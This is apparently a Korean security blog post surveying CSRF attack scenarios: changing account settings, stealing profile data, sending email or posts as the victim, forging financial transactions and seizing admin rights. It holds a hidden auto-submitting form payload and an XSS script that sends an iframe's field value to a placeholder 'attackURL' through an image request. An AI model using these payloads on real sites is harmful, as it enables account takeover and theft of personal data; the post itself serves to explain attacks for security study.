1. 계정의 설정 변경
CSRF를 통해 계정의 설정을 변경하는 것이 가능하다. 만약 피해자가 특정 링크를 클릭한다고 해보자. 그런데 그 링크에서는 계정 설정을 변경하는 페이지에 요청을 보내는 링크가 포함되어있거나 XSS를 통해 바로 요청을 보내도록 한다고 해보자. 그렇다면 로그인 된 피해자의 계정의 요청으로 설정 변경 요청을 보냈기 떄문에 계정의 설정이 변경될 것이다.
<iframe name="iframe_name" style="display:none;" onload="ex()">
</iframe>
<form action="계정정보페이지URL" method="POST" target="iframe_name">
<input type="hidden" name="input_name" value="1234">
</form>
<script>
document.forms[0].submit(); //첫번째폼 전송
//alert를 작동시키지 않기 위한 함수
function ex(){
var iframeWindow = document.querySelector('iframe[name="iframe_name"]').contentWindow;
iframeWindow.alert = function() {};
}
</script>
2. 계정 정보 취득
설정 변경 뿐만이 아니라 이미 등록되어있지만 피해자만이 볼 수 있는 페이지에서만 나오는 정보를 취득 할 수도 있을 것이다. 예를들면 마이페이지에 나와있는 주소나 전화번호, 이메일 등이 있을 수도 있으며 계정 설정 변경 페이지에서 현제 입력된 정보가 value 혹은 placeholder속성의 내용을 가져올 수도 있을 것이다.
구현은XSS 취약점이 있는 페이지에서 <iframe>태그를 통해 정보가 들어있는 페이지로 이동을 하게 되고 iframe이 onload 되었을 때 DOM 객체를 조작하는 코드를 통해 iframe내부의 내용을 가져와 src속성등을 이용하여 공격자의 서버로 내용을 전송하는 것이다.
<iframe onload="getPlaceholder()">
</iframe>
<script>
function getPlaceholder(){
// 특정 form 요소의 placeholder 값 가져오기
var iframe = document.getElementById('iframe_name');
var iframeContent = iframe.contentDocument || iframe.contentWindow.document; //iframe내부에 접근
var formElement = iframeContent.getElementById('form_id');
if (formElement) {
var placeholderValue = formElement.getAttribute('placeholder');
var i = new Image();
i.src="attackURL?urname="+placeholdervalue;
}
}
</script>
3. 이메일 전송, 게시글 작성
계정정보 변경과 마찬가지로 이메일 전송 페이지에 폼 내용을 채워넣고 submit버튼을 눌러 전송을 시킨다. 그렇게 특정 계정의 주인으로 이메일을 전송할 수 있을 것이다.
이 경우 특정 기업 이메일, admin 계정 공지등과 같이 계정 주인에 대한 독자들의 신뢰가 높다면 이를 이용하여 각종 피싱을 성공 시킬 확률이 늘어나게 될 것이다.
더욱이 이러한 페이지들은 덜 민감하게 취급되어 CSRF에 대한 방책을 마련해 놓은경우가 다른 민감한 페이지들에 비해 적어 다른 시나리오의 일부로서 용이할 것이다.
4. 금융거래 위조
은행이나 결제 웹사이트의 경우 공격자가 위조된 요청을 보냄으로 인해 온라인 금융거래를 성사시킬 수 있다.
물론 이를 통해 직접적인 금융 피해가 일어나는 것 또한 문제이지만 다른 시나리오를 거쳐 이 시나리오에 당할 경우 피해가 굉장히 커질 수 있을것으로 예상된다.
다만 이 경우 유독 민감한 페이지 이기 때문에 2차인증, 보안검사, 암호화 등을 무조건 갖추어야 해서 CSRF가 쉽게 이루어지지는 않을 것이며, 이를 우회하기 위한 다른 방안을 마련해야할 것이다.
5. 관리자 권한 탈취
최고 관리자 권한을 통해서 공격자의 계정을 최고관리자 혹은 관리자 계정으로 상승시킬 수 있을 것이다.
만약 계정 권한 상승시스템이 없더라도 관리자의 계정을 통해서 시스템을 제어 할 수 있을 것이다.
관리자 권한으로 할 수 있는것들로 시스템에 대한 정보, 사용자 정보 등 여러 정보의 취득, 변경이 가능해지며 페이지 변경을 통해서 사용자들에게 공격자 서버로 유도가 쉬워질 것이다.
유도 뿐만이 아닌 사용자들이 특정 페이지에 이미 주어진 권한을 사용할 수도 있다.
대표적으로 파일 다운로드 권한을 통해서 피해자의 pc 제어를 할 수도 있고. 팝업 권한으로 공격자 페이지를 팝업으로 바로 띄워버릴 수도 있다. 알람 권한으로 MFA피로공격 등 사회공학적 기법의 이용도 용이해질 것이다.
'모의해킹 및 보안' 카테고리의 다른 글
NoSQL Injection (0) | 2023.05.31 |
---|---|
파일 업로드 취약점 (0) | 2023.05.30 |
CSRF_1 (0) | 2023.05.22 |
XSS정리 (0) | 2023.05.22 |
CSRF_요청을 보내지만 페이지 유지하는방법. (0) | 2023.05.19 |